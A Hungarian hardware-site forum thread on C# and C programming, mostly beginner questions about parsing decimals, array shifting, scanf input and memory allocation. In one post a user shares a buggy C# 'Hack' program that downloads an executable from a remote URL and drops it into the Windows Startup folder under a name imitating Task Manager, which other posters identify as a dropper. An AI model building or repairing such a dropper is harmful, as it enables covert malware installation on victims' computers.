Hirdetés
- Nem teljesít túl jól a kasszáknál az aktuális Xbox generáció
- Intel Core i5 / i7 / i9 "Alder Lake-Raptor Lake/Refresh" (LGA1700)
- Milyen processzort vegyek?
- Melyik tápegységet vegyem?
- Milyen videókártyát?
- Házimozi belépő szinten
- AMD Radeon™ RX 470 / 480 és RX 570 / 580 / 590
- Milyen Android TV boxot vegyek?
- TCL LCD és LED TV-k
- Melyik hordozható audiolejátszót (DAP, MP3, stb.) vegyem?
Hirdetés
-
Nyugodtan viheti az AI-szakembereket a Microsoft
it A Microsoft átvette az Inflection embereinek zömét, valamint a társalapítókat – de az EU trösztellenes hatósága nem piszkál bele a folyamatba. A hollandok elégedetlenek.
-
Megérkezett a Crucial P310 SSD M.2 2280-as kiadása
ph A PlayStation 5-tel is kompatibilis, költséghatékonyságra fókuszáló tároló olvasásban hozza a 7 GB/s körüli szintet.
-
Készíts képet az igazi nevedből!
lo Sziasztok.Egy érdekes kísérletre hívnálak meg titeket. Mindjárt elmondom, hogy miről is van szó. A telefonomon (fold 5)...
Új hozzászólás Aktív témák
-
amargo
addikt
Sokszor egyszerűbb lenne, ha nem kellene találgatni.
MemoryFailPoint“The workdays are long and the weekend is short? Make a turn! Bike every day, bike to work too!”
-
amargo
addikt
Azért nincs benne olyan sok new kulcs szó. Meg aztán a kommentek is beszédesek.
Azért Jester01 segítségével már meg lehet találni.
A programból egy részlet, ami elég beszédes, hogy miért akar valamit távolt tartani a GC-től:// A real thread would use the byte[],
// but to be an illustrative sample,
// explicitly keep the byte[] alive to help exhaust the memory.
GC.KeepAlive([B]bytes[/B]);[ Szerkesztve ]
“The workdays are long and the weekend is short? Make a turn! Bike every day, bike to work too!”
-
Karma
félisten
Akkor ideje végre leírnod, hogy mit is szeretnél pontosan. Először memóriát akartál foglalni, lett is rá megoldás, aztán bejött a MemoryFailPoint, nem volt jó, még egy foglalás, nem volt jó...
Egyébként meg hót egyszerű a MemoryFailPoint használata: csak a konstruktornak meg kell adnod, hogy mennyi memóriát szeretnél biztosítani, aztán ha végeztél, Dispose (vagy használhatsz using blokkot is). Természetesen try blokkba kell tenned, hogy az exceptiont lekezelhesd, ha nem állna rendelkezésre ekkora heapszelet.
De ez mind le van írva az MSDN-en, még csak nem is érthetetlenül.
[ Szerkesztve ]
“All nothings are not equal.”
-
Dinter
addikt
Na szóval azt akarom, hogy lefoglalja a memóriát. GC kiiktatva. Csak ha így elindítom, OutOfMemoryExceptiont kapok, és azt akarom, hogy minden áron lefusson a program.
Edit: ha tryba rakom, akkor ugyan úgy nem fog lefutni nem?
[ Szerkesztve ]
-
Dinter
addikt
Erre most miért kapom ezt?Process.GetProcessesByName("programnév");
Cannot implicitly convert type 'System.Diagnostics.Process[]' to 'System.Diagnostics.Process'[ Szerkesztve ]
-
Dinter
addikt
Sziasztok. Azt szeretném megcsinálni, hogy a program a netről URL alapján letöltsön a gépre egy fájlt. Nekem azt mondták, hogy először létrehozod, majd bele kell írni. Nos itt a forráskód:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Net;
namespace Hack
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void label1_Click(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
}
private void label3_Click(object sender, EventArgs e)
{
}
}
class Letrehozas
{
public static void Letoltes()
{
StreamWriter file = new StreamWriter(Application.UserAppDataPath + "\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\taskngr.exe");
File.Create(Download("http://dinter.atw.hu/client.exe"));
file.Close();
}
public static string Download(string uri)
{
WebClient client = new WebClient();
Stream data = client.OpenRead(uri);
StreamReader reader = new StreamReader(data);
string s = reader.ReadToEnd();
data.Close();
reader.Close();
return s;
}
}
}Próbáltam rendszergazdaként és nélküle is indítani a programot. Külön lejön a program.
[ Szerkesztve ]
-
sztanozs
veterán
Mi lenne ha írnál is a fájlba? Kisbetű/nagybetű nem ugyanaz:
file vs FileKicsit tanulmányozd még a C# szintaktikát mielőtt elkezdesz droppert íni
JOGI NYILATKOZAT: A bejegyzéseim és hozzászólásaim a személyes véleményemet tükrözik; ezek nem tekinthetők a munkáltatóm hivatalos állásfoglalásának...
-
Dinter
addikt
Az mitől van, hogy letölti a fájlt, de csak 552 bájtot? 1 perc alatt lazán le kéne jönnie 1,5Mbps letöltéssel.
-
Szabesz
őstag
Az eddigiek alapján egy memória zabáló vírust akarsz írni. Ragyogó.
Ráadásul taskngr.exe a már foglalt.
[ Szerkesztve ]
¯\_(ツ)_/¯
-
Dinter
addikt
AppDatát hogy lehet helyettesíteni paranccsal? Két parancsot próbáltam:
Application.UserAppDataPath+ "\\Roaming"
Environment.GetFolderPath( Environment.SpecialFolder.ApplicationData)+\\"Roaming"De ezekkel nem működnek. Ha simán beírom AppData-t akkor megy.
[ Szerkesztve ]
-
Dinter
addikt
Ha kitöröltem az app.manifestet, akkor vissza lehet hozni?
-
amargo
addikt
Talán sokaknak segítség lehet:
C# programozás lépésről lépésre (Programozási ismeretek)“The workdays are long and the weekend is short? Make a turn! Bike every day, bike to work too!”
-
j0k3r!
senior tag
akiknek nem jott be az uj vs kinezete: [link]
some men just wanna watch the world burn...
-
fatal`
titán
Valaki nem tudja, hogy mikorra várható XNA az új VS-hez?
-
veterán
Sziasztok!
Nagyon hülye kérdés, tudom, de országomat a megfejtésért.
Sima egyszerű átlagszámítós programot akartam írni - ennél jóval nehezebbek sem fogtak ki rajtam - adatfeldolgozás céljából.using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace HatodikFeladat_kesz
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
const int meret = 20;
double[] tombAtlag = new double[meret];
private void buttonOK_Click(object sender, EventArgs e)
{
StreamReader fbe = File.OpenText("atlag.txt");
StreamWriter fki = File.CreateText("jegyek.txt");
for (int i = 0; i < tombAtlag.Length; i++)
{
tombAtlag[i] = Convert.ToDouble(fbe.ReadLine());
listBoxKiSima.Items.Add(tombAtlag[i]);
}
fbe.Close();
}
}
}... és amikor az f.ReadLine-t szeretném a tömbnek megfelelően Double-ba konvertálni, akkor kiakad, hogy "Input string was not in a correct format." de vajh miért? Rosszul konvertálnék?
A fájlban így vannak az adatok pl.:
"2.14
4.14
3.76" tehát direkt ponttal, s nem vesszővel.Üdv. core2
-
Szabesz
őstag
válasz Neil Watts #3581 üzenetére
double.parse vagy double.tryparse-vel próbálkoznék inkább.
szerk: több mint valószínű, hogy a fentiek is elhasalnak majd nálad, mert a tizedes elválasztó az esetedben a pont lesz és nem a vessző. [link] definiálsz egy megfelelő providert, és menni fog.
[ Szerkesztve ]
¯\_(ツ)_/¯
-
Szabesz
őstag
-
veterán
-
Szabesz
őstag
válasz Neil Watts #3584 üzenetére
Ezt írtam le... hogy a rendszered a vesszőt veszi alapból elválasztónak, nem a pontot.
Ha te definiálod neki, hogy mit értelmezzen tizedes elválasztónak, akkor működni fog, ahogy a fenti mintakód is működik. Próbáld ki.¯\_(ツ)_/¯
-
veterán
-
veterán
Esetleg ebben még kaphatnék egy kis segítséget?
Az lenne a lényeg, hogy kiválasztok egy hónapot a listából, és az ahhoz tartozó értékeket olvasom be fájlból. Ez idáig megy is, csak be kéne szúrnom a tömb legelső eleme elé a választott hónap nevét. Ezért átraktam egy új tömbbe a régi elemeit a régit is megtartva, ott elcsúsztattam az eredetihez képest, de azt mutatja a debug, hogy nem töltődik fel a második tömb, csak nem igazán veszem észre hogy miért.
Valami segítő ötletetek van-e erre?
Köszi.
Üdv. core2
[ Szerkesztve ]
-
Szabesz
őstag
válasz Neil Watts #3587 üzenetére
Nem jött át mit is szeretnél csinálni.
A kódban viszont vannak érdekes dolgok, Form1_Load-ban beállítod a selectedindexet, majd ráifelsz, hogy mi az értéke.
Meg ott van a hármas for ciklus, ahol
ujhomerseklet[0] = honapok[0];
meret*meret-szer állítódik be fölöslegesen, afor (int k = 0; k < ujhomerseklet.Length; k++)
{
fki.WriteLine(ujhomerseklet[k]);
}
rész is igen egzotikus dolgokat művelhet (meret*meret-szer lefut ez is), főleg, hogy fki nem lett bezárva (tipp: használj using blokkot)[ Szerkesztve ]
¯\_(ツ)_/¯
-
veterán
válasz Szabesz #3588 üzenetére
Szia!
Ez egy olyan program lenne ahol az adott hónapot kiválasztva a felhasználó megkapná az adott hónaphoz tartozó adatokat kiíratva a képernyőre, majd ez kiíródna egy fájlba is úgy, hogy a fájl legelső sora a kiválasztott hónap neve lenne.
Fájlból feltöltöttem a tömbömet, majd ezt átraktam egy másik tömbbe, de úgy, hogy már beszúrtam első elemnek a hónap nevét, tehát már így kéne az új tömbbe kerülnie, hogy
nev
ertek1
ertek2...Ehelyett meg nem töltődik fel a tömböm.
A harmadik ciklus meg az új, már jól feltöltött tömböm kiíratására szolgálna, de az nagy valószínűséggel felesleges.Remélem így már érthetőbb.
Üdv. core2
-
Szabesz
őstag
válasz Neil Watts #3589 üzenetére
De a kód nem éppen ezt tükrözi. Gondold át még egyszer az egészet, aztán írd meg az elejétől.
for (int i = 0; i < meret; i++)
{
listBoxKi.Items.Add(homerseklet[i]);
for (int j = 0; j < meret; j++)
{
ujhomerseklet[0] = honapok[0];
ujhomerseklet[j + 1] = Convert.ToString(homerseklet[i]);
for (int k = 0; k < ujhomerseklet.Length; k++)
{
fki.WriteLine(ujhomerseklet[k]);
}
}
}Ami most történik:
-kezdődik a legkülső ciklus, i=0, listBoxKi-be belekerül homerseklet[0], majd megindul a belső ciklus j=0, ahol ujhomerseklet[1]-től ujhomerseklet[meret]-ig beállítódik homerseklet[ i ]-vel. Ugyanakkor összesen 1240-szer írsz fki-be többnyire null-okat.
-Majd i=1 és így tovább...
....
-Végül nem zárod be fki-t, ezért nem is nagyon fogod látni a tartalmát.Ez ugye elég értelmetlen.
[ Szerkesztve ]
¯\_(ツ)_/¯
-
dudika10
veterán
Üdv!
Egy hozzáértő számára szerintem egyszerű kérdésem volna. Elkezdtem ismerkedni a C-vel (MS Virtual Studio 2010 segítségével), és a bináris keresésre épülő egyszerű játékot szeretnék csinálni.
while(x!=1)
{
tipp=((min + max )/a);
printf("Ez a szam a %d ? \n", tipp );
scanf("%c", &valasz);
if(valasz =='=')
x=1;
else if(valasz == '<')
min=tipp;
else if(valasz == '>')
max=tipp;
else if(valasz != '>' && valasz != '<' && valasz != '=' )
printf("Kerlek valaszolj, vagy nem tudok tovabblepni! \n");
/* Nem működik jól. A scanf után úgy veszi, mintha nem történt volna semmi, visszaugrik a ciklus elejére, végrehajtja a printf-t, és újra a scanf jön. */
}Ahogy az a megjegyzésnél is olvasható, a program majdnem jól működik, de:
Megteszi az első tippet, majd megvárja, hogy válaszoljak (kisebb, nagyobb, egyenlő az általam gondolt szám). Eddig jó. De most jön a de. Megadom a választ, nyomok egy entert, majd kiírja az új tippet, jönne egy scanf, de azt mondja, hogy nem adtam meg tippet, és az utolsó else if-re ugrik, majd újra kiírja a tippet, jön a scanf és itt már megvárja, amíg beviszem az adott karaktert.Valaki meg tudná mondani, hogy hol a hiba?
szerk.: azt elfelejtettem leírni, hogyha az utolsó else if nincs, akkor scanf után a scanf-re ugrik. Az utolsó else if pont ezért (is) került bele, hogy megnézzem, hogy miért ugrik oda, és a működésből arra következtettem hogy azért, mert az első beolvasást üresnek veszi.
Előre is köszönöm a választ!
[ Szerkesztve ]
Prodipe Pro 5 aktiv hangfalpar elado.
-
Karma
félisten
válasz dudika10 #3591 üzenetére
A C programozás topikot erre találod.
Egyébként egyszerű a dolog, a scanf az újsor karaktert olvassa be a billentyűzetpufferből, amit az első karakter beolvasásánál benne hagytál. (Az első hívás csak a karaktert húzta be, az enter ottmaradt.)
Nagyon gyakori probléma amibe belefut mindenki, amikor kezdő.
Ezért is menj át a másik topikba, és keress rá a scanf-re.Szerk.:
Az fflush(stdin) az egyik lehető legrosszabb megoldás (jutalma: guillotin), mert a szabvány szerint illegális, és teljesen implementációfüggő.Egy karakter beolvasásához a getchar() tökéletesen elég amúgy is.
[ Szerkesztve ]
“All nothings are not equal.”
-
veterán
Sziasztok!
Itt a másik tömbbe való eltoláskor van egy kis gondom - ez menne ki később fájlba - a Debug szerint a meresek tömb négy elemét nem adja hozzá az ujmereshez. Gondolom az is jó, hogy db-ig megyek, mert különben rengeteg null érték lenne a listboxban.
Köszi a segítséget!
Üdv. core2
-
válasz Neil Watts #3596 üzenetére
Az eltolást hogyan szeretnéd kivitelezni, ahol eddig a 0. volt, ott lesz a 2. és az utolsó előtti lesz a 0.? Meg mintha túlindexelnéd a meresek tömbödet.
A hónapok nevét tudja a .NET is CultureInfo-ból.
Nem lenne jobb tömbök helyett List<T>-t használni?
A felmegnyitásod rossz, közvetlenül az olvasásnál hívd meg pl. using operátorral (vagy manuálisan try-catch-finally).Feleslegesen nem kell növelni a kódodat:
buttonOK.Enabled = textBoxHonapBe.Text == honap[0];[ Szerkesztve ]
-
veterán
válasz Peter Kiss #3597 üzenetére
Szia!
Az eltolást pontosan így szeretném kivitelezni, hogy index szerint kerüljön az egész adatsor kettővel lejjebb.
Tehát ha a 0. indexen van a meresek tömbben teszem azt egy 5-ös érték, akkor az az ujmeres tömbben legyen a 2. indexhelyen, és onnan kezdődjön az egész adatsor, elé legyen beszúrva egy új sor jel meg az aktuális hónap neve legyen a 0-ik indexen.
Túlindexelem? Miért?
Egy while-al addig töltöm fel adattal amíg az el nem ér a fájl végére, s közben folyamatosan növelem a db értékét. Tökéletesen feltöltődik a tömb, s a végén egy forral kiíratom úgy hogy csak db-ig megyek, mert addig van adat, utána null értékeket ad vissza a tömb.
Üdv. core2
-
válasz Neil Watts #3598 üzenetére
meresek[i + 2]
Itt indexeled túl (nem tömb, hanem a benne lévő adatok szempontjából), de egyébként ilyesmi lenne:var ujMeres = new List<string> {"ide berakod", "amit akarsz"};
ujMeres.AddRange(meresek.Select(x => x.ToString(CultureInfo.InvariantCulture))); //esetleg kell egy ToList()[ Szerkesztve ]
-
veterán
válasz Peter Kiss #3599 üzenetére
Megy, köszi! Figyelmetlen voltam már megint. (vagy csak túlságosan is reggel van)
Köszönöm!
Üdv. core2
Új hozzászólás Aktív témák
Hirdetés
● ha kódot szúrsz be, használd a PROGRAMKÓD formázási funkciót!
- Filmvilág
- Teljes verziós játékok letöltése ingyen
- Telekom mobilszolgáltatások
- Macska topik
- Netflixesedik a YouTube, AI gyárt rá videót
- Székesfehérvár és környéke adok-veszek-beszélgetek
- Google Pixel 9 Pro XL - hét szűk esztendő
- Nem teljesít túl jól a kasszáknál az aktuális Xbox generáció
- Kerékpárosok, bringások ide!
- Intel Core i5 / i7 / i9 "Alder Lake-Raptor Lake/Refresh" (LGA1700)
- További aktív témák...
- LG OLED65C11LB Smart OLED Televízió, 164 cm, 4K Ultra HD
- Bomba ár! Fujitsu LifeBook U745 - i5-5GEN I 8GB I 256SSD I 14" HD+ I Cam I W10 I Garancia!
- HP ProBook 450 G6, 15,6" FHD IPS, I3-8145U CPU, 8GB DDR4, 256GB NVMe SSD, WIN 10/11, Számla, Garanci
- Bomba ár! Dell Latitude 5430 - i5-1235U I 16GB I 256SSD I HDMI I 14" FHD I Cam I W11 I NBD Garancia!
- HP ProBook 450 G5, 15,6" HD, I5-7200U CPU, 8GB DDR4, 128GB SSD, Nvidia 2GB VGA, WIN 10/11, Számla, G
Állásajánlatok
Cég: Ozeki Kft
Város: Debrecen
Cég: Ozeki Kft
Város: Debrecen